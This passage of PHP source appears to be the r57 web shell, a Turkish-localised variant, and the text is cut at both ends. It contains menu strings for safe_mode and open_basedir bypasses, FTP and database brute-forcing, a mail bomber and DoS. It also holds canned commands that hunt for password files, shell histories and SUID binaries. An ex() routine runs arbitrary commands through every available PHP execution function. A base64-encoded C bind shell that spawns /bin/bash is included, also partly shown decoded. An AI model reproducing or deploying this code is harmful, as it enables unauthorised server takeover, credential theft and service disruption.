988'tr_text64'=>'Dizin Sil',
989'tr_text65'=>'Olustur',
990'tr_text66'=>'Sil',
991'tr_text67'=>'Chown/Chgrp/Chmod',
992'tr_text68'=>'Uygula',
993'tr_text69'=>'param1',
994'tr_text70'=>'param2',
995'tr_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
996'tr_text72'=>'Metin Bul',
997'tr_text73'=>'Klasor Bul',
998'tr_text74'=>'Dosya Bul',
999'tr_text75'=>'* you can use regexp',
1000'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla',
1001'tr_text80'=>'Cesit',
1002'tr_text81'=>'Net',
1003'tr_text82'=>'Databases',
1004'tr_text83'=>'SQL Sorgusu Yap',
1005'tr_text84'=>'SQL Sorgusu',
1006'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
1007'tr_text86'=>'Download files from server',
1008'tr_butt14'=>'Download',
1009'tr_text87'=>'Download files from remote ftp-server',
1010'tr_text88'=>'server:port',
1011'tr_text89'=>'File on ftp',
1012'tr_text90'=>'Transfer mode',
1013'tr_text91'=>'Archivation',
1014'tr_text92'=>'without arch.',
1015'tr_text93'=>'FTP',
1016'tr_text94'=>'FTP-bruteforce',
1017'tr_text95'=>'Users list',
1018'tr_text96'=>'Can\'t get users list',
1019'tr_text97'=>'checked: ',
1020'tr_text98'=>'success: ',
1021'tr_text99'=>'/etc/passwd',
1022'tr_text100'=>'Send file to remote ftp server',
1023'tr_text101'=>'Use reverse (user -> resu)',
1024'tr_text102'=>'Mail',
1025'tr_text103'=>'Send email',
1026'tr_text104'=>'Send file to email',
1027'tr_text105'=>'To',
1028'tr_text106'=>'From',
1029'tr_text107'=>'Subj',
1030'tr_butt15'=>'Send',
1031'tr_text108'=>'Mail',
1032'tr_text109'=>'Hide',
1033'tr_text110'=>'Show',
1034'tr_text111'=>'SQL-Server : Port',
1035'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
1036'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
1037'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
1038'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
1039'tr_text116'=>'Copy from',
1040'tr_text117'=>'to',
1041'tr_text118'=>'File copied',
1042'tr_text119'=>'Cant copy file',
1043'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
1044'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
1045'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
1046'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
1047'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
1048'tr_text125'=>'Data',
1049'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
1050'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
1051'tr_text128'=>'Modify/Access date(touch)',
1052'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
1053'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
1054'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
1055'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
1056'tr_text133'=>'',
1057'tr_text134'=>'Database-bruteforce',
1058'tr_text135'=>'Dictionary',
1059'tr_text136'=>'Creating evil symlink',
1060'tr_text137'=>'Useful',
1061'tr_text138'=>'Dangerous',
1062'tr_text139'=>'Mail Bomber',
1063'tr_text140'=>'DoS',
1064'tr_text141'=>'Danger! Web-daemon crash possible.',
1065'tr_err0'=>'Error! Can\'t write in file ',
1066'tr_err1'=>'Error! Can\'t read file ',
1067'tr_err2'=>'Error! Can\'t create ',
1068'tr_err3'=>'Error! Can\'t connect to ftp',
1069'tr_err4'=>'Error! Can\'t login on ftp server',
1070'tr_err5'=>'Error! Can\'t change dir on ftp',
1071'tr_err6'=>'Error! Can\'t sent mail',
1072'tr_err7'=>'Mail send',
1073);
1074$aliases=array(
1075'----------------------------------locate'=>'',
1076'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1077'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1078'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1079'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1080'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1081'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1082'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1083'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1084'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1085'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1086'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1087'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1088'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1089'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1090'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1091'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1092'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1093'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1094'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1095'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
1096'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
1097'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
1098'----------------------------------tar'=>'',
1099'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
1100'----------------------------------1'=>'',
1101'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1102'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1103'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1104'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1105'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1106'----------------------------------2'=>'',
1107'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
1108'----------------------------------find'=>'',
1109'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1110'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1111'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1112'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1113'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1114'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1115'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1116'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1117'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1118'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1119'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt',
1120'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1121'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1122'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt',
1123'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1124'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1125'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1126'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1127'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1128'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1129'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1130'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1131'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1132'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1133'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1134'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1135'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1136'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1137'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1138'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1139'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1140'-----------------------------------'=>'',
1141'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1142'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1143'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1144'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1145'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1146'----------------------------------------------------------------------------------------------------'=>'ls -la'
1147);
1148$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
1149$table_up2 = " ::</div></b></font></td></tr><tr><td>";
1150$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>";
1151$table_end1 = "</td></tr>";
1152$arrow = " <font face=Webdings color=gray>4</font>";
1153$lb = "<font color=green>[</font>";
1154$rb = "<font color=green>]</font>";
1155$font = "<font face=Verdana size=-2>";
1156$ts = "<table class=table1 width=100% align=center>";
1157$te = "</table>";
1158$fs = "<form name=form method=POST>";
1159$fe = "</form>";
1160if(isset($_GET['users']))
1161{
1162if(!$users=get_users('/etc/passwd')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";}
1163else
1164{
1165echo '<center>';
1166foreach($users as $user) {echo $user."<br>";}
1167echo '</center>';
1168}
1169echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
1170}
1171if (!empty($_POST['dir'])) {if(@function_exists('chdir')){@chdir($_POST['dir']);}else if(@function_exists('chroot')){@chroot($_POST['dir']);};}
1172if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
1173$unix = 0;
1174if(strlen($dir)>1 &&$dir[1]==":") $unix=0;else $unix=1;
1175if(empty($dir))
1176{
1177$os = getenv('OS');
1178if(empty($os)){$os = @php_uname();}
1179if(empty($os)){$os ="-";$unix=1;}
1180else
1181{
1182if(@eregi("^win",$os)) {$unix = 0;}
1183else {$unix = 1;}
1184}
1185}
1186if(!empty($_POST['s_dir']) &&!empty($_POST['s_text']) &&!empty($_POST['cmd']) &&$_POST['cmd'] == "search_text")
1187{
1188echo $head;
1189if(!empty($_POST['s_mask']) &&!empty($_POST['m'])) {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);}
1190else {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text']);}
1191$sr->SearchText(0,0);
1192$res = $sr->GetResultFiles();
1193$found = $sr->GetMatchesCount();
1194$titles = $sr->GetTitles();
1195$r = "";
1196if($found >0)
1197{
1198$r .= "<TABLE width=100%>";
1199foreach($res as $file=>$v)
1200{
1201$r .= "<TR>";
1202$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
1203$r .= (!$unix)?str_replace("/","\\",$file) : $file;
1204$r .= "</b></font></ TD>";
1205$r .= "</TR>";
1206foreach($v as $a=>$b)
1207{
1208$r .= "<TR>";
1209$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
1210$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
1211$r .= "</TR>\n";
1212}
1213}
1214$r .= "</TABLE>";
1215echo $r;
1216}
1217else
1218{
1219echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
1220}
1221echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1222die();
1223}
1224if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;}
1225$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
1226if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";}
1227function ws($i)
1228{
1229return @str_repeat(" ",$i);
1230}
1231function ex($cfe)
1232{
1233$res = '';
1234if (!empty($cfe))
1235{
1236if(@function_exists('exec'))
1237{
1238@exec($cfe,$res);
1239$res = join("\n",$res);
1240}
1241elseif(@function_exists('shell_exec'))
1242{
1243$res = @shell_exec($cfe);
1244}
1245elseif(@function_exists('system'))
1246{
1247@ob_start();
1248@system($cfe);
1249$res = @ob_get_contents();
1250@ob_end_clean();
1251}
1252elseif(@function_exists('passthru'))
1253{
1254@ob_start();
1255@passthru($cfe);
1256$res = @ob_get_contents();
1257@ob_end_clean();
1258}
1259elseif(@is_resource($f = @popen($cfe,"r")))
1260{
1261$res = "";
1262if(@function_exists('fread') &&@function_exists('feof')){
1263while(!@feof($f)) {$res .= @fread($f,1024);}
1264}else if(@function_exists('fgets') &&@function_exists('feof')){
1265while(!@feof($f)) {$res .= @fgets($f,1024);}
1266}
1267@pclose($f);
1268}
1269elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes)))
1270{
1271$res = "";
1272if(@function_exists('fread') &&@function_exists('feof')){
1273while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);}
1274}else if(@function_exists('fgets') &&@function_exists('feof')){
1275while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);}
1276}
1277@proc_close($f);
1278}
1279elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
1280{
1281$res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
1282$pid = @pcntl_fork();
1283if ($pid == -1) {
1284$res .= '[-] Could not children fork. Exit';
1285}else if ($pid) {
1286if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
1287else {$res .= '[-] Error. Command incorrect.';}
1288}else {
1289$cfe = array(" -e 'system(\"$cfe\")'");
1290if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
1291if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
1292die();
1293}
1294}
1295}
1296return $res;
1297}
1298function get_users($filename)
1299{
1300$users = array();
1301$rows=@explode("\n",readzlib($filename));
1302if(!$rows) return 0;
1303foreach ($rows as $string)
1304{
1305$user = @explode(":",trim($string));
1306if(substr($string,0,1)!='#') array_push($users,$user[0]);
1307}
1308return $users;
1309}
1310function err($n,$txt='')
1311{
1312echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
1313echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
1314if(!empty($txt)) {echo " $txt";}
1315echo '</b></div></font></td></tr></table>';
1316return null;
1317}
1318function perms($mode)
1319{
1320if (!$GLOBALS['unix']) return 0;
1321if( $mode &0x1000 ) {$type='p';}
1322else if( $mode &0x2000 ) {$type='c';}
1323else if( $mode &0x4000 ) {$type='d';}
1324else if( $mode &0x6000 ) {$type='b';}
1325else if( $mode &0x8000 ) {$type='-';}
1326else if( $mode &0xA000 ) {$type='l';}
1327else if( $mode &0xC000 ) {$type='s';}
1328else $type='u';
1329$owner["read"] = ($mode &00400) ?'r': '-';
1330$owner["write"] = ($mode &00200) ?'w': '-';
1331$owner["execute"] = ($mode &00100) ?'x': '-';
1332$group["read"] = ($mode &00040) ?'r': '-';
1333$group["write"] = ($mode &00020) ?'w': '-';
1334$group["execute"] = ($mode &00010) ?'x': '-';
1335$world["read"] = ($mode &00004) ?'r': '-';
1336$world["write"] = ($mode &00002) ?'w': '-';
1337$world["execute"] = ($mode &00001) ?'x': '-';
1338if( $mode &0x800 ) $owner["execute"] = ($owner['execute']=='x') ?'s': 'S';
1339if( $mode &0x400 ) $group["execute"] = ($group['execute']=='x') ?'s': 'S';
1340if( $mode &0x200 ) $world["execute"] = ($world['execute']=='x') ?'t': 'T';
1341$s=sprintf("%1s",$type);
1342$s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']);
1343$s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']);
1344$s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']);
1345return trim($s);
1346}
1347function in($type,$name,$size,$value,$checked=0)
1348{
1349$ret = "<input type=".$type." name=".$name." ";
1350if($size != 0) {$ret .= "size=".$size." ";}
1351$ret .= "value=\"".$value."\"";
1352if($checked) $ret .= " checked";
1353return $ret.">";
1354}
1355function which($pr)
1356{
1357$path = '';
1358$path = ex("which $pr");
1359if(!empty($path)) {return $path;}else {return false;}
1360}
1361function cf($fname,$text)
1362{
1363$w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
1364if($w_file)
1365{
1366@fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
1367@fclose($w_file);
1368}
1369}
1370function sr($l,$t1,$t2)
1371{
1372return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
1373}
1374if (!@function_exists("view_size"))
1375{
1376function view_size($size)
1377{
1378if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";}
1379elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";}
1380elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";}
1381else {$size = $size ." B";}
1382return $size;
1383}
1384}
1385function DirFilesR($dir,$types='')
1386{
1387$files = Array();
1388if(($handle = @opendir($dir)) ||(@function_exists('scandir')))
1389{
1390while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir))))
1391{
1392if ($file != "."&&$file != "..")
1393{
1394if(@is_dir($dir."/".$file))
1395$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
1396else
1397{
1398$pos = @strrpos($file,".");
1399$ext = @substr($file,$pos,@strlen($file)-$pos);
1400if($types)
1401{
1402if(@in_array($ext,explode(';',$types)))
1403$files[] = $dir."/".$file;
1404}
1405else
1406$files[] = $dir."/".$file;
1407}
1408}
1409}
1410@closedir($handle);
1411}
1412return $files;
1413}
1414class SearchResult
1415{
1416var $text;
1417var $FilesToSearch;
1418var $ResultFiles;
1419var $FilesTotal;
1420var $MatchesCount;
1421var $FileMatschesCount;
1422var $TimeStart;
1423var $TimeTotal;
1424var $titles;
1425function SearchResult($dir,$text,$filter='')
1426{
1427$dirs = @explode(";",$dir);
1428$this->FilesToSearch = Array();
1429for($a=0;$a<count($dirs);$a++)
1430$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
1431$this->text = $text;
1432$this->FilesTotal = @count($this->FilesToSearch);
1433$this->TimeStart = getmicrotime();
1434$this->MatchesCount = 0;
1435$this->ResultFiles = Array();
1436$this->FileMatchesCount = Array();
1437$this->titles = Array();
1438}
1439function GetFilesTotal() {return $this->FilesTotal;}
1440function GetTitles() {return $this->titles;}
1441function GetTimeTotal() {return $this->TimeTotal;}
1442function GetMatchesCount() {return $this->MatchesCount;}
1443function GetFileMatchesCount() {return $this->FileMatchesCount;}
1444function GetResultFiles() {return $this->ResultFiles;}
1445function SearchText($phrase=0,$case=0) {
1446$qq = @explode(' ',$this->text);
1447$delim = '|';
1448if($phrase)
1449foreach($qq as $k=>$v)
1450$qq[$k] = '\b'.$v.'\b';
1451$words = '('.@implode($delim,$qq).')';
1452$pattern = "/".$words."/";
1453if(!$case)
1454$pattern .= 'i';
1455foreach($this->FilesToSearch as $k=>$filename)
1456{
1457$this->FileMatchesCount[$filename] = 0;
1458$FileStrings = @file($filename) or @next;
1459for($a=0;$a<@count($FileStrings);$a++)
1460{
1461$count = 0;
1462$CurString = $FileStrings[$a];
1463$CurString = @Trim($CurString);
1464$CurString = @strip_tags($CurString);
1465$aa = '';
1466if(($count = @preg_match_all($pattern,$CurString,$aa)))
1467{
1468$CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
1469$this->ResultFiles[$filename][$a+1] = $CurString;
1470$this->MatchesCount += $count;
1471$this->FileMatchesCount[$filename] += $count;
1472}
1473}
1474}
1475$this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4);
1476}
1477}
1478function getmicrotime()
1479{
1480list($usec,$sec) = @explode(" ",@microtime());
1481return ((float)$usec +(float)$sec);
1482}
1483$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
1484A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
1485GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
1486b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
1487pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
1488NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
1489ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
1490ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
14917DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
14929tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
14932ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
1494dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
1495lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
1496/* ?ST SATIRIN KIRILMI? HAL? */
1497/*
1498
1499#include <stdio.h>
1500#include <string.h>
1501#include <sys/types.h>
1502#include <sys/socket.h>
1503#include <netinet/in.h>
1504#include <errno.h>
1505int main(argc,argv)
1506int argc;
1507char **argv;
1508{
1509 int sockfd, newfd;
1510 char buf[30];
1511 struct sockaddr_in remote;
1512 if(fork() == 0) {
1513 remote.sin_family = AF_INET;
1514 remote.sin_port = htons(atoi(argv[1]));
1515 remote.sin_addr.s_addr = htonl(INADDR_ANY);
1516 sockfd = socket(AF_INET,SOCK_STREAM,0);
1517 if(!sockfd) perror("socket error");
